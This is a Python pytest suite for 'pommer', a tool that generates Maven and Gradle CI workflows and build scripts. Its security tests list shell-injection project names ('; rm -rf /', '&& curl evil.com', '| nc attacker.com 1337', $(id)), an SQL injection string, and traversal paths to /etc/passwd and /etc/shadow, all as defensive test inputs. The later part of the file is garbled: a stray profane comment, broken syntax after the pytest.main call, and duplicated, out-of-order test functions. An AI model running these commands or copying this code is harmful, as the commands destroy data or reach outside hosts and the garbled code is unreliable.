malicious project names""" malicious_names = [ "project; rm -rf /", "project && curl evil.com", "project | nc attacker.com 1337", "project`whoami`", "project$(id)", "project'; DROP TABLE users; --" ] for malicious_name in malicious_names: project_info = [{ "artifact_id": malicious_name, "name": malicious_name, "java_version": "11", "pom_path": "pom.xml", "build_system": "maven" }] # Generate workflow - should not contain raw malicious commands workflow = pommer.generate_maven_workflow(project_info) script = pommer.generate_build_script(project_info) # Basic check - malicious chars should be escaped or contained assert workflow is not None assert script is not None # The malicious name should be present but properly quoted/escaped assert malicious_name in workflow assert malicious_name in script def test_path_injection_prevention(self): """Test prevention of path injection attacks""" malicious_paths = [ "../../../etc/passwd", "..\\..\\windows\\system32", "/etc/shadow; cat /etc/passwd", "pom.xml && rm -rf /", "build.gradle | curl evil.com" ] for malicious_path in malicious_paths: # Should handle malicious paths safely result_pom = pommer.parse_pom_xml(malicious_path) result_gradle = pommer.parse_gradle_file(malicious_path) # Should either return None or handle safely assert result_pom is None # Non-existent files assert result_gradle is None class TestCompatibilityAndStandards: """Test compatibility with various standards and versions""" def test_maven_pom_versions_compatibility(self): """Test compatibility with different POM model versions""" pom_versions = [ "4.0.0", "4.0.1", "4.1.0" ] for version in pom_versions: pom_content = f''' {version} version-test-{version.replace(".", "-")} ''' with tempfile.NamedTemporaryFile(mode='w', suffix='.xml', delete=False) as f: f.write(pom_content) f.flush() result = pommer.parse_pom_xml(f.name) assert result is not None assert f'version-test-{version.replace(".", "-")}' in result['artifact_id'] os.unlink(f.name) def test_gradle_wrapper_versions(self): """Test handling of different Gradle wrapper versions""" wrapper_versions = ["7.6", "8.0", "8.4", "8.5"] for version in wrapper_versions: temp_dir = tempfile.mkdtemp() # Create gradle files gradle_path = os.path.join(temp_dir, "build.gradle") gradlew_path = os.path.join(temp_dir, "gradlew") wrapper_props_dir = os.path.join(temp_dir, "gradle", "wrapper") os.makedirs(wrapper_props_dir) wrapper_props_path = os.path.join(wrapper_props_dir, "gradle-wrapper.properties") with open(gradle_path, 'w') as f: f.write("// Test gradle file") with open(gradlew_path, 'w') as f: f.write("#!/bin/bash\necho 'Gradle wrapper'") with open(wrapper_props_path, 'w') as f: f.write(f"distributionUrl=https\\://services.gradle.org/distributions/gradle-{version}-bin.zip") project_info = [{ "artifact_id": f"gradle-{version}", "name": f"Gradle {version}", "java_version": "17", "gradle_path": gradle_path, "build_system": "gradle" }] # Should handle different wrapper versions workflow = pommer.generate_gradle_workflow(project_info) assert workflow is not None assert "./gradlew" in workflow shutil.rmtree(temp_dir) def test_java_version_compatibility(self): """Test compatibility with various Java versions""" java_versions = ["8", "11", "17", "21"] for java_ver in java_versions: pom_content = f''' java-{java_ver}-test {java_ver} ''' with tempfile.NamedTemporaryFile(mode='w', suffix='.xml', delete=False) as f: f.write(pom_content) f.flush() result = pommer.parse_pom_xml(f.name) assert result is not None assert result['java_version'] == java_ver # Test workflow generation workflow = pommer.generate_maven_workflow([result]) assert f"JDK {java_ver}" in workflow os.unlink(f.name) class TestDocumentationAndUsability: """Test documentation-related functionality and usability""" def test_help_message_accessibility(self): """Test that help messages are accessible and informative""" with patch('sys.argv', ['pommer.py', '--help']): with pytest.raises(SystemExit) as exc_info: pommer.main() # Help should exit with code 0 assert exc_info.value.code == 0 def test_error_message_clarity(self): """Test that error messages are clear and helpful""" with patch('builtins.print') as mock_print: # Test with non-existent directory with patch('pommer.find_pom_files', return_value=[]): with patch('pommer.find_gradle_files', return_value=[]): with patch('sys.argv', ['pommer.py', '--dir', '/nonexistent']): try: pommer.main() except SystemExit: pass # Should print helpful error message printed_args = [call.args[0] for call in mock_print.call_args_list] error_messages = [msg for msg in printed_args if 'found' in msg.lower()] assert len(error_messages) > 0 def test_verbose_output_information(self): """Test that verbose output provides useful information""" with patch('builtins.print') as mock_print: temp_dir = tempfile.mkdtemp() # Create a simple POM pom_path = os.path.join(temp_dir, 'pom.xml') with open(pom_path, 'w') as f: f.write(''' verbose-test ''') with patch('sys.argv', ['pommer.py', '--dir', temp_dir]): with patch('os.makedirs'), patch('os.chmod'): try: pommer.main() except SystemExit: pass # Should print informative messages printed_messages = [call.args[0] for call in mock_print.call_args_list] assert any('Found' in msg for msg in printed_messages) assert any('Parsing' in msg for msg in printed_messages) assert any('generated' in msg for msg in printed_messages) shutil.rmtree(temp_dir) class TestRegressionPrevention: """Test cases to prevent regressions in known issues""" def test_empty_artifact_id_handling(self): """Regression test: Handle empty or missing artifact IDs""" empty_artifact_pom = ''' com.test ''' with tempfile.NamedTemporaryFile(mode='w', suffix='.xml', delete=False) as f: f.write(empty_artifact_pom) f.flush() result = pommer.parse_pom_xml(f.name) # Should handle gracefully - either None or with fallback if result is not None: assert result['artifact_id'] == '' or len(result['artifact_id']) > 0 os.unlink(f.name) def test_special_characters_in_paths(self): """Regression test: Handle special characters in file paths""" special_chars = ["spaces in path", "path-with-dashes", "path_with_underscores", "path.with.dots"] for special_name in special_chars: temp_dir = tempfile.mkdtemp() special_dir = os.path.join(temp_dir, special_name) os.makedirs(special_dir) pom_path = os.path.join(special_dir, 'pom.xml') with open(pom_path, 'w') as f: f.write(f''' special-chars-test ''') # Should handle special characters in paths result = pommer.parse_pom_xml(pom_path) assert result is not None assert result['artifact_id'] == 'special-chars-test' shutil.rmtree(temp_dir) def test_case_sensitivity_handling(self): """Regression test: Handle case sensitivity correctly""" mixed_case_gradle = ''' GROUP = "com.test.UPPERCASE" Version = "1.0.0" sourceCompatibility = JavaVersion.VERSION_11 ''' with tempfile.NamedTemporaryFile(mode='w', suffix='.gradle', delete=False) as f: f.write(mixed_case_gradle) f.flush() result = pommer.parse_gradle_file(f.name) assert result is not None # Should handle case variations assert result['java_version'] == '11' os.unlink(f.name) def test_workflow_yaml_validity(self): """Regression test: Ensure generated YAML is valid""" import yaml test_project = [{ "artifact_id": "yaml-test", "name": "YAML Test", "java_version": "17", "pom_path": "pom.xml", "build_system": "maven" }] workflow = pommer.generate_maven_workflow(test_project) # Should be valid YAML try: parsed_yaml = yaml.safe_load(workflow) assert parsed_yaml is not None assert 'name' in parsed_yaml assert 'jobs' in parsed_yaml except yaml.YAMLError: pytest.fail("Generated workflow is not valid YAML") if __name__ == "__main__": # Run the tests with coverage pytest.main([ __file__, "-v", "--cov=pommer", "--cov-report=html", "--cov-report=term-missing", "--cov-fail-under=90", # Require 90% coverage "-x", # Stop on first failure for faster feedback "--tb=short" # Shorter tracebacks ## This here (what you see), is very error ridden. Please fix this shit! ]) ;""" pommer.generate_build_script(maven_projects) assert script is not None assert "mvn" in script assert "Maven Project" in script assert "pom.xml" in script """ def test_generate_build_script_gradle_only(self): """Test build script generation for Gradle-only projects""" temp_dir = tempfile.mkdtemp() gradle_path = os.path.join(temp_dir, "build.gradle") gradlew_path = os.path.join(temp_dir, "gradlew") # Create files with open(gradle_path, 'w') as f: f.write("// test") with open(gradlew_path, 'w') as f: f.write("#!/bin/bash") gradle_projects = [{ "name": "Gradle Project", "gradle_path": gradle_path, "build_system": "gradle" }] script = pommer.generate_build_script(gradle_projects) assert script is not None assert "gradlew" in script assert "Gradle Project" in script shutil.rmtree(temp_dir) def test_generate_build_script_mixed_projects(self): """Test build script generation for mixed Maven and Gradle projects""" temp_dir = tempfile.mkdtemp() gradle_path = os.path.join(temp_dir, "build.gradle") with open(gradle_path, 'w') as f: f.write("// test") mixed_projects = [ { "name": "Maven Project", "pom_path": "pom.xml", "build_system": "maven" }, { "name": "Gradle Project", "gradle_path": gradle_path, "build_system": "gradle" } ] """Test build script generation functionality""" def test_generate_build_script_maven_only(self): """Test build script generation for Maven-only projects""" maven_projects = [{ "name": "Maven Project", "pom_path": "pom.xml", "build_system": "maven" }] script = pommer.generate_build_script(maven_projects) assert script is not None assert "mvn" in script assert "Maven Project" in script assert "pom.xml" in script def test_generate_build_script_gradle_only(self): """Test build script generation for Gradle-only projects""" temp_dir = tempfile.mkdtemp() gradle_path = os.path.join(temp_dir, "build.gradle") gradlew_path = os.path.join(temp_dir, "gradlew") # Create files with open(gradle_path, 'w') as f: f.write("// test") with open(gradlew_path, 'w') as f: f.write("#!/bin/bash") gradle_projects = [{ "name": "Gradle Project", "gradle_path": gradle_path, "build_system": "gradle" }] script = pommer.generate_build_script(gradle_projects) assert script is not None assert "gradlew" in script assert "Gradle Project" in script shutil.rmtree(temp_dir) def test_generate_build_script_mixed_projects(self): """Test build script generation for mixed Maven and Gradle projects""" temp_dir = tempfile.mkdtemp() gradle_path = os.path.join(temp_dir, "build.gradle") with open(gradle_path, 'w') as f: f.write("// test") mixed_projects = [ { "name": "Maven Project", "pom_path": "pom.xml", "build_system": "maven" }, { "name": "Gradle Project", "gradle_path": gradle_path, "build_system": "gradle" } ] script = pommer.generate_build_script(mixed_projects) assert script is not None assert "mvn" in script assert "gradle" in script assert "Maven Project" in script assert "Gradle Project" in script shutil.rmtree(temp_dir) def test_generate_build_script_empty_projects(self): """Test build script generation with empty project list""" script = pommer.generate_build_script([]) assert script is not None assert "Universal build script" in script